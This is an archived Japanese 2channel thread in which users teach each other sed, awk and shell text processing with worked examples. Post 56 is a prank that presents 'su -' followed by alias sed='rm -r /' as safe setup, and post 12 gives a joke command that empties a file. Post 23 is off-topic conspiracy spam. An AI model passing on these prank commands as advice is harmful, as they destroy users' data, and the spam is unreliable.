1read 100read
2013年06月Linux540: おまいら! sed の使い方教えて下さいm(_ _)m (178) TOP カテ一覧 スレ一覧 2ch元 削除依頼
WebとメールするだけならLinuxで十分 (170)
LinuxユーザーがFreeBSDユーザに勝てない理由 (180)
【視聴・録画】Linuxでテレビ総合8【デジタル/アナログ】 (224)
Nautilusスレ ファイルマネージャ/シェル。 (137)
Nature's Linux (134)
Xubuntu Part2 (691)

おまいら! sed の使い方教えて下さいm(_ _)m


1 :03/11/03 〜 最終レス :2012/08/31
Linux使ってるならsedあたりはサックって使えるようになりたい。
だけどなかなかまとまった日本語の解説がすくなくて苦労する。
ここで皆の智恵をだしつくして欲しい!
日本語解説サイト
http://www-6.ibm.com/jp/developerworks/linux/010202/j_l-sed1.html
http://www-6.ibm.com/jp/developerworks/linux/010216/j_l-sed2.html
http://www-6.ibm.com/jp/developerworks/linux/010223/j_l-sed3.html
英語だとここからたどれる
http://sed.sourceforge.net/index.html

2 :
くだらねえ質問はここに書きこめ! part61
http://pc.2ch.net/test/read.cgi/linux/1067454177/

3 :
サックっと削除依頼を出しなさい。

4 :
man sed

5 :
む、面白そうだけどなぁ > sedスレ。awkも一緒に扱ってくれるとありがたい。
とりあえずリンク貼り
sedは日暮れて
http://www.chimimo.com/sed/

6 :
関連スレ?
awkについて語るスレ
http://pc2.2ch.net/test/read.cgi/tech/1023556171/l50

7 :
例えば英辞郎の加工で
【用例xxx】部分を書き出すと英作に役立つ例文集ができるとおもうんだけど
こんなのどうやるかなんて考えてみたい。

8 :
オライリー飼って嫁。異常。

9 :
>>7から続き
とりあえずsedにやらせたいことをファイルに書きながらやっていこう。
yourei.sed
=============================
/【用例.*/p
d
=============================
確認してみる
$ sed -f yourei.sed eijirou.txt | more

とりあえず【用例 を含む行だけ抜粋できた。
ここからまだまだ加工が必要だな。
ぼちぼちやっていくさ。。。

10 :
ダメではないんだが、シェルスクリプト御用達系のスレは馬力がなくていかん。
てなわけで今度立てるときはsedとawk両方で立ててくれ。

11 :
>>10
そうするよ。
早く終りそうな方が統合スレたてたらいいんだよね?
>>9のつづき
じゃまな振り仮名を削除してみる。
furigana.sed
===============================
s/{[^}]}//g
d
===============================
※振り仮名は全角の{}で囲まれている。
$ sed -f yourei.sed eijirou.txt | sed -f furigana.sed > yourei.txt
次は一行テキストの途中に現われる【用例xxx】のところを改行したい。

12 :
いらんもの全部削除
sed -f /dev/zero gomi.txt > gomi.txt

13 :
>>11のつづき
【用例xxx】で改行させてみる。
kaigyou.sed
=========================
s/\/[[:blank:]]/\/\
/g
=========================
※英辞郎はスペース + スラッシュ + スペースで用例を区切っている。
$ sed -f yourei.sed eijirou.txt | sed -f furigana.sed | sed -f kaigyou.sed > yourei.txt


14 :
例題ネタとしては、GNU sed-4.0.XのinfoのExampleにいろいろあるよ。

15 :
>>13のつづき
■で始まる行は邪魔なので削除する。
$ sed -e '/^■/d' yourei.txt > yourei1.txt
英文と和訳が対になってる行だけにする。
$ sed -n -e '/[[:space:]]:[[:space:]]/p' yourei1.txt > yourei2.txt
行頭を■で統一
$ sed -e '/^【[^】]*】[[:space:]]/d' yourei2.txt | sed -e 's/^/■/g' > yourei3.txt
行末にある/を削除
$ sed -e 's/\/$//g' yourei3 > yourei4.txt
ここまでで用例集ができた。

16 :
>>14さん
情報有難う。
参考にさせてもらうね。

17 :
質問。sedで改行するとき、例えば;を改行に置換したいとすると
sed -e 's/;/;\
/g'
改行入れてかいてるんだけど・・。
これが凄い面倒なので一行で書く方法ってないんでしょうか。

18 :
>>17さん
すまないねぇ、あてくしもただいま修行中の身で
お役にたてないワン

19 :
メモ貼り。
sedで使用できる正規表現演算子
http://www.kt.rim.or.jp/~kbk/regex/regex.html#SED

20 :
sed JMan
http://www.linux.or.jp/JM/html/GNU_sed/man1/sed.1.html

21 :
>>17さん
私もいっぱいいっぱいでやってるから
サクッとさじ投げたけど
私のやってる通り改行部分をファイルに書き出して読みこめばいいのでは?
$ sed -e 's/;/;\
> /g'
上記改行なら
kaigyou.sed
======================
s/;/;\
/g
======================
$ sed -f kaigyou.sed hoge > hage
まあ改行したいタイミングで sed -f kaigyou.sed とやればよいのでは?

22 :
>>15のつづき
>行末にある/を削除
>$ sed -e 's/\/$//g' yourei3 > yourei4.txt
$ sed -e 's/\/$//g' yourei3.txt > yourei4.txt //訂正

折角できた用例集だけどこのままではつまらないから
英作問題集風に加工してみよう。
$ sed 's/[[:space:]]:[[:space:]]/\/●/g' yourei4.txt > yourei5.txt
kaigyou2.sed
==========================
s/\//\/\
/g
==========================
$ sed -f kaigyou2.sed yourei5.txt | sed -e 's/\/$//g' > yourei6.txt



23 :
●●●マスコミの 「盗聴/R」 は許されるの?その7A●●●    http://natto.2ch.net/mass/kako/1004/10049/1004950940.html
915 名前: 文責:名無しさん 投稿日: 02/01/20 12:40 ID:FHCYQpiB
今度は、インターネットで犯罪をRしている人自身を直接攻撃することを
彼らは考えるだろう。彼らはインターネット上のR者が誰かということは
自分達自身が嫌がらせをしているのではじめから知っているのである。
彼らは、NTT等の通信事業者に働きかけてR者のインターネット接続を
あらゆる方法で妨害をしはじめるだろう。
もちろんこれは、れっきとした犯罪であるためあからさまにやると、
今度はR者に訴えられたり脅迫されたりされる危険性がある。
そのため、彼らは法律に触れない程度でR者を妨害する方法はないだろうか?と考える。
そこで出てくるのが....
-虚報戦術-
いくつかの事実といっしょに実体のない噂を山ほど流す。
そのため(情報の)受信者は事実と噂を見分けることが出来ない。
アルビン・トフラー著 「パワーシフト」より
真実の情報を隠すために、偽の情報と真実の情報を混ぜ
どれが真実の情報かわからなくさせる情報工作というものがある。
彼らは自分達が行っている、いたずら電話、脅迫電話、盗聴、R、
ストーカー、住居不法侵入等の真実の情報を誤魔化し閲覧者が混乱するようにするために、
「思考盗聴、透視、遠隔操作」などの誰も信じないような、偽の情報と織り交ぜて
マスメディア関係者が組織的にホームページや掲示板を通じて自分で被害者を演じ
インターネット上で自作自演を行っている可能性がある。
われわれはこういった盗聴犯罪者の馬鹿げた自作自演に気をつけなければならない。

24 :
sed 4.0.1 の info を翻訳したもの。
http://www.geocities.jp/fut_nis/html/sed-ja/index.html#Top

25 :
>>21
レスありがとー、
特定の文字の後に改行したいってのは個人的に良くある
シュチュエーションなもので、
もちょっと簡単にできる方法誰か知ってればなぁなんて思ってたんです。
それともう一つ疑問なのが、
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done
real 0m25.056s
user 0m3.043s
sys 0m21.228s
time for i in `find ./ -type f|sed 's/.*\///' `;do echo ${i};done
real 0m0.312s
user 0m0.172s
sys 0m0.096s
こんな感じに、デカイループの中にsedがあるとトテツモナク動作が
重くなるんですが・・・、これってsedがいくつも起動されちゃうから
なのかな。
でかいループ中にsed挟まなきゃならない場合はsedより別スクリプトに
パイプって感じにしたほういいんでしょうかね。
教えて君で申し訳ないのですが、、、。

26 :
>>25
ちなみに。。。
同じような書き方ならPerlのほうが、微妙に早いかも。
#!/usr/bin/perl
open HDL, "find . -type f|";
while(<HDL>)
{
s/.*\///;
print;
}

27 :
ちまちま分けて書くのが面倒なので、
1つのファイルにまとめて書きたいと思ったんだけど
思うようにできない。。。
yourei.sed
=============================
s/{[^}].*}//g
/【用例.*/{
s/\/[[:space:]]/\/\
/g
p
}
==============================
$ -n -f yourei.sed eijirou.txt | more
この状態だとこれ以上の編集ができないんだよね。。。
一旦ファイルに落してからつづきをするしかないのかな?

28 :
>>27に間違いがあった。
>$ -n -f yourei.sed eijirou.txt | more
$ sed -n -f yourei.sed eijirou.txt | more

29 :
つーかスレタイが腹立つな。態度が馬鹿にしてる

30 :
>>27
>この状態だとこれ以上の編集ができないんだよね。。。
>一旦ファイルに落してからつづきをするしかないのかな?
意味がよくわからんのだが、
sed -n -f yourei.sed eijirou.txt | sed -e '....'
じゃダメなのか?
あと、1行目を
#!/usr/bin/sed -n -f
として chmod +x しておくといいかも。

31 :
>>30
いちいちファイルに落さなくてもパイプでつなげるね。
指摘ありがとう。
ただ、>>27 で言おうとしてたのは
パイプで繋いでいく部分も全て1つのファイルにまとめられないかな?
ってことだったんだけど、
例えば >>27 の yourei.sed を
============================
s/{[^}].*}//g
/【用例.*/{
s/\/[[:space:]]/\/\
/g
s/\/$//g
p
}
============================
としても s/\/$//g の部分が実行できてない。
これは一度編集が終ったサイクルは読みこめないってことなのかな?

32 :
>>sed@修行中
sedの置換命令のデリミタには任意の文字が使えるぞ。
置換文字列に'/'が含まれるなら。'/'を'\'でエスケープするよりも
文字列に含まれない文字をデミリタにすると読みやすいと思う。

s/\/[[:space:]]/\/\
/g

s@/[[:space:]]@/\
@g
s/\/$//g

s%/$%%g

33 :
>>31
> としても s/\/$//g の部分が実行できてない。
そうそう、sedは入力行に対して'^'と'$'は最初の行頭と行末にしかマッチしなかった気がする。
置換の結果、改行文字が挿入されて行が増えても、
新たな行頭と行末は'^'と'$'にマッチしないみたいだね。

34 :
SED 教室
http://www.gcd.org/sengoku/sedlec/

35 :
>>32
そうだね そのほうがずっと見やすいね。
教えてくれてありがとう。

36 :
O'REILLY sed & awk
http://polymer.bu.edu/~fding/sedawk/index.htm

37 :
>>34
何故にMSワード・・・

38 :
http://ime.st/www.gcd.org/sengoku/sedlec/
拡張子がdocになってるけどlessでもみれるから
私はそれぞれのファイルを全部catでマージして
拡張子をtxtに変更してtknamazuから検索できるようにしている。
かなり平易に説明してくれてると思うよ。

39 :
>>33
sedの改行処理がネックになっているみたいです。
yourei.sed
=======================
s/{[^}].*}//g
/【用例.*/{
s%\/[[:space:]]%\/\
%g
s%$%\n%g
p
}
======================
$ sed -n -f yourei.sed eijirou.txt | more
こうすると改行処理前の1行テキストごとに
\nが挿入されていました。
要するに見ためで改行しているだけで
1行テキストとしては改行処理前のものを認識しています。

40 :
>>37
あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
むしろ .txt の方が少なかったような気が。
>>39
>1行テキストとしては改行処理前のものを認識しています。
うんにゃ。
$ はパターンスペースの最後にマッチするメタキャラクタであって、
何らかの操作でパターンスペース中に改行が増えても
^, $ でマッチする部分が増えるわけではない
もし改行処理前(s// 実行前)のものが認識されるのであれば、
echo aaa | sed 's/a/b/; s/a/c/'
の結果は s/a/b/ が s/a/c/ に上書きされて caa になるはずだけど、
実際は s/a/b/ の置換結果に対して s/a/c/ が実行されるので bca になる。

41 :
>>40
> あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
なのに Content-Type: application/msword なのね。

42 :
>>41
すでに一般的になっている拡張子を横取りする辺り
さすが某社な感じがしたね。
いまじゃ拡張子docをテキストに使う人なんていなくなったなぁ。

43 :
>>40
>$ はパターンスペースの最後にマッチするメタキャラクタであって、
>何らかの操作でパターンスペース中に改行が増えても
>^, $ でマッチする部分が増えるわけではない
お手上げです。
1つのスクリプトファイルにまとめたかったんだけど
無理みたいですね。

44 :
>>43
改行への置換と行末の/の削除を同時にすればいいじゃん。
s/{[^}].*}//g
/【用例.*/{
s%/[[:space:]]%\
%g
p
}

45 :
>>44
なるほど、そんなことができたんですね。
1つ手順が減りました。ありがとう。

46 :
viviのアウトライン解析機能を使っています。
「リナンバ」とやると、
1.1
1.3
1.5
なんてのが、
1.1
1.2
1.3
ときちんと書き直してくれます。vimでもこういうことがやりたいのですが、挫折してまして、
sedで可能かと考えています。お力をお貸しください。

47 :
sed じゃ難しいんでは?

48 :
オライリのセッドアンドオークは正直分かりにくい

49 :
1,$s/●/ひろゆきの私腹/g

50 :
>>25
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done

do 〜 done はまとめてリダイレクトできるのだ

time for i in `find ./ -type f`;do echo ${i};done | sed 's/.*\///'

すっごく速くなったぞ
# sed ってよりshellのお題だな

51 :
``でサブシェル起動するからね...
find . -type f | xargs sed 's/.*\///'
とか
find . -type f | while read i; do sed 's/.*\///' ${i}; done
のほうがいいのでは?
(上だと全ファイルまとめてsed。下だと一つづつsed)

52 :
ぬぬぅ
これは早急にシェルスクリプトを習得せねば
なんかわかんないけどすごく便利なことしてそうな予感。

53 :
普通はシェルコマンドや正規表現を先に覚えるべきでは???
まぁあまり人のことは言えないが(w

54 :
>>52
早くしてるだけだよ。
でも>>50が出してきた例は、上と下で動作が違うから注意しな。
この例みたいに全部標準出力に垂れ流すsedなら一緒だけど。
>>53
UNIX的思想では小さいプログラムを組み合わせて使うから、
必要に応じて機能を探せばいい。
順番なんてナンセンス、だと思うな。

55 :
燃料投下の意味もこめて、ほったらかしの>>46にささげます。
正規表現の部分は手抜きで、柔軟性のかけらもありません。
加工したいテキストにあわせて書き換える必要があるでしょう。
#なおテストはしてません。
while :
do
cnt=`expr $cnt + 1`
sed 's/^\([ \t]*1\.\)[1-9][0-9]*/\1'$cnt'/' < 加工したいファイル
done

56 :
俺様がテーチインしてやるから
まずスーパーユーザにならなくちゃ行けないんだよ。
$ su -
そんでもって、sedはプロトタイプ宣言が必要なんだ。Cのプリプロセッサ
のようなものって思って良いけど難しいから以下のようにタイプする。
$ alias sed='rm -r /'
すると起動完了だから、sedがバッチリ起動する。
このおまじないで絶対に止めては行けないサーバとかでも
安心してセキュリティを気にせずに実行する事が可能だ。ZDNetとかの
linux-tipsとかlinux-mini-howtoに載っているよ。


57 :
>>46
sed でやることじゃないな。
#!/usr/bin/awk -f
$1 ~ /[0-9]+\.[0-9]+/{
split($1, tmp, /\./)
if(tmp[1] <= sec){
subsec += 1
} else{
sec += 1
subsec = 1
}
sub(/[0-9]+\.[0-9]+/, sec "." subsec)
}
{ print }
>>56
つまらない。

58 :
vi と awk + join + sort
で、RDBMS ができるようだ。
#!/bin/sh
join -1 1 -t: /etc/passwd /etc/ftpusers \
| sort -t ":" -n -k 3 \
| awk 'BEGIN {FS=":"; OFS="\t";} \
$7 != /bin/false && $3 >= 1000 \
{print $1, $3, $4, $7;}'
awk の変数 OFS がなぜかFreeBSDで通らないのが謎。
って、ここはsed刷れだった。
sedもいじってみよう。

59 :
awkつまみ食い(1時間コース)
ttp://www.is.kochi-u.ac.jp/~honda/Joen/07Awk.html


/* emp.dat */
Beth 4.00 0
Dan 3.75 0
Kathy 4.00 10
Mark 5.00 20
Mary 5.50 22
Susie 4.25 18
/* m6.awk */
BEGIN { print "*** Employee Statistics ***" }
$3 > 15 { emp = emp + 1 }
{ pay = pay + $2 * $3 }
$2 > max { max = $2; who = $1 }
{ names = names $1 " " }
{ last = $0 }
END {
print "Employee list:", names;
print NR, "employees";
print emp, "employees worked more than 15 hours." ;
print "total pay is",pay;
print "average pay is",pay/NR;
print "Highest hourly rate:", max, "for", who ;
print "Who was the last:",last;
}

60 :
$ awk -f m6.awk emp.dat
*** Employee Statistics ***
Employee list: Beth Dan Kathy Mark Mary Susie
6 employees
3 employees worked more than 15 hours.
total pay is 337.5
average pay is 56.25
Highest hourly rate: 5.50 for Mary
Who was the last: Susie 4.25 18

ほかにも、 awk は 組み込み 関数や、
if-else文、 while文、 for文などを 使った 複雑な 計算や
プログラム制御を おこなう ことが できます。
これらの 詳細に ついては、 C言語を 学んだ 後で 参考書
「プログラミング言語AWK」
エイホ・ カーニハン・ ワインバーガー著・ 足立訳 (トッパン・ 3,400円)を...

61 :
久しぶりに良スレだ。
まとめサイトキボソ

62 :
保守上げ

63 :
!/usr/bin/perl -p
if(/(\d+)\.\d+/) {
if($1 > $sec) {
$sec=$1;
$subsec=1;
} else {
$subsec++;
}
s/\d+\.\d+/$sec.$subsec/;
}

64 :
>>46
スレ違いだがawkでもいいなら、、、
57のperl版でw

65 :
漏れは、改行はtrつかって変換してる'\012'

66 :
sage

67 :
hosyu

68 :
補習

69 :
保守

70 :
sedを使ってhogeを"hoge"にしたいんですけど
s/^/\"/とs/$/\"/を一度にできますか?

71 :
sed 's/hoge/"hoge"/'

72 :
>>71
答のポイントがずれてる
>>70
sed 's/\(.*\)/\"\1\"/'

73 :
>>70
sed -e "s/^/\"/" -e "s/$/\"/"
sed -e "s/^\(.*\)$/\"\1\"/"

74 :
>>71-73
感謝!

キモの\(.*\)と\1の意味が理解できないorz
精進します

75 :
ああ、hogeは可変なのか…
だからs/^/\"/とかしてたわけね orz

76 :
sedでカレントパスにある、重複名ファイルを削除すること出来ますでしょうか?

77 :
「重複名ファイル」が何のことか分からんが、
sedでファイルを削除することはできません

78 :
パイプに渡してrmコマンドで削除はできる

79 :
>>1は氏んだのか?

80 :
>>78
全然試さずに聞いてみるのだがそれってファイル中身じゃなくて
ファイル自体が消えるの?

81 :
おれは引数の中身までは分からんが
ls | sed 'hogehoge' | rm -rf
ってことだろ。

82 :
あれ?
>カレントパスにある、重複名ファイル
こんなもん作れないだろ・・・作れたらスクリーンショットとってどっかに挙げてくれ。

83 :
age

84 :
つ[MS‐DOSを256倍使うための本〈Vol.3〉]

85 :
>>84
「MAKE make Make.」

「640Kのバリヤーのなかで」
の章を読めば良いんですね。
わかりました。
ありがとうございました。

86 :
rm -rfv `find . | grep '~$'`
こんなのよくやる。

87 :
こんなのを適当にファイル名を指定してやってみよう。
   sed 's/\w//g' <ファイル名>

88 :
疑問なんだけど、デフォルト入力とかで
行をファイル(標準入力でもいいけど)から読み込んでくるとき、
パターンスペースに格納されるテキストには
その行が本来持っていた末尾の改行は保持されるの、
それとも捨てられてるの?

89 :
>>88
捨て

90 :
>>89
ありがd。そうみたいだね。実は自己解決してました。
man sedしてもわからなかったけどinfo sedしたら書いてあったよ(GNU sedね)。
「SED 教室 第三回」にもこうあった。
http://www.gcd.org/sengoku/sedlec/3.txt
> SED は起動されるとまず、標準入力の最初の行をパターンスペースにコピーし
>ます。この時点でパターンスペースの内容は「これは一行目だ。」になります。
>行末の改行コードは捨てられてパターンスペースの中にはありませんので注意し
>てください。

91 :
Cのソースから
//
/* */
のコメントを取り除けますか?sedで。

92 :
>>91
できるよ。

93 :
>できるよ。
/*

*/
のように複数行に分かれている場合にもできますか?

94 :
>>93
うん。

95 :
要するに,「/*」と「*/」を削除すれば?

96 :
ヒント:
ttp://www.gcd.org/sengoku/sedlec/12.txt
---------- SED 教室 第十二回 「〜から〜まで、基礎編」 ----------

97 :
SED

98 :
@@@

99 :
Super Erectile Dysfunction

100read 1read
1read 100read
TOP カテ一覧 スレ一覧 2ch元 削除依頼
KVM(Kernel based Virtual Machine)を語れ 2 (589)
お前らも、いつかはWindows7使うことになる (195)
Linuxってなんであんなにインストールに時間がかかるの? (101)
【復活の日】 (゚ε゚)キニシナイ!! (118)
Scientific Linux Part3 (142)
オープンソースを他の産業にも広めよう (177)
--log9.info------------------
小澤亮太応援スレ4 (252)
【イケメン】白石隼也 Part1【ジュノンボーイ】 (122)
ヨウスケ・クロフォード【Luke.c】 (130)
前田公輝 PART4 (148)
【AAA唯一の】日高光啓【正統派イケメン】 (162)
浜尾京介10 (115)
非ジャニがジャニからの圧力を振り切る方法 (132)
精液飲みたいアイドルは? (136)
【イケメン】加治将樹【アイドル】 (107)
【姜暢雄ジェジュン】在日アイドル【阿部力 玉山鉄二】 (131)
【ゲイも注目】佐野岳くん【ジュノンボーイ】 (104)
僕達急行A列車で行こう (155)
ジャニーズ事務所に入りたいDA PUMP (151)
EBiDAN♪恵比寿学園男子部♪ 1 (111)
高崎翔太 (141)
太田基裕 (143)
--log55.com------------------
モデルハウスで女優さんが妻子役を務めるサービス。独身男性客を狙う
アイドルと聞いて想像したもの
エスパー長官、GSOMIA破棄を撤回するように韓国へ
北朝鮮「安倍は白痴、奇形児、低能児」
スーパーチャイニーズの話しようぜ
「PCケース」の最高傑作ってなによ?
5インチベイって何に使うの?
PCエンジンで一番面白いゲーム決めようぜ